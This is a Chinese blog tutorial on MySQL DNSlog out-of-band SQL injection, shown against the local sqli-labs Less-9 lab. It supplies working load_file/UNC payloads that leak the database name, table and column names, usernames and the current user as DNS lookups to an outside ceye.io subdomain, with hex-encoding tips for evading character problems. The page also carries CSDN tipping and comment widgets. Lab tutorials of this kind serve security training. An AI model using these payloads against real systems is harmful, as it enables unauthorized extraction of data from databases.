mysql-dnslog注入

@Adminxe

http://ceye.io/   //dnslog注入平台

dnslog原理简介:

  简单理解就是在利用注入漏洞的时候,页面无回显,无法直接获得回显信息的情况下,目标可以发起DNS请求,这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来。 对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。

mysql下的dnslog注入:

利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux ,原因如下:

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

1.show variables like ‘%secure%’;      //查看secure_file_priv的配置情况

查询当前数据库:

and load_file(concat(‘\\\\’,(select database()),’.xtftm5.ceye.io\\sql’))          //xtftm5.ceye.io根据ceye平台给你的域名更改,\\sql是域名目录,随意即可,select database()换成sql注入payload即可

查询表名:

and load_file(concat(‘\\\\’,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.xtftm5.ceye.io\\sql’))

查询列名:

and load_file(concat(‘\\\\’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))

查询数据:

and load_file(concat(‘\\\\’,(select username from users limit 0,1),’.xtftm5.ceye.io\\sql’))

实战演示sqli的第九关 :

查询当前数据库名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select database()),’.xtftm5.ceye.io\\sql’))–+

   可以看到这里成返回了当前数据库的名字

查询当前数据库的第一个表名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了第一个表的名字

查询第users表一个列名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了users表第一列的名字

查询users表的username列的数据:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select username from users limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了username第一个的数据

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select hex(user())),’.xtftm5.ceye.io\\sql’))–+

2.如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=’security’),’.xtftm5.ceye.io\\sql’))–+

查询到的是hex编码的结果

利用工具hex解码一下即可

转载请注明:Adminxe's Blog » mysql-dnslog注入

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值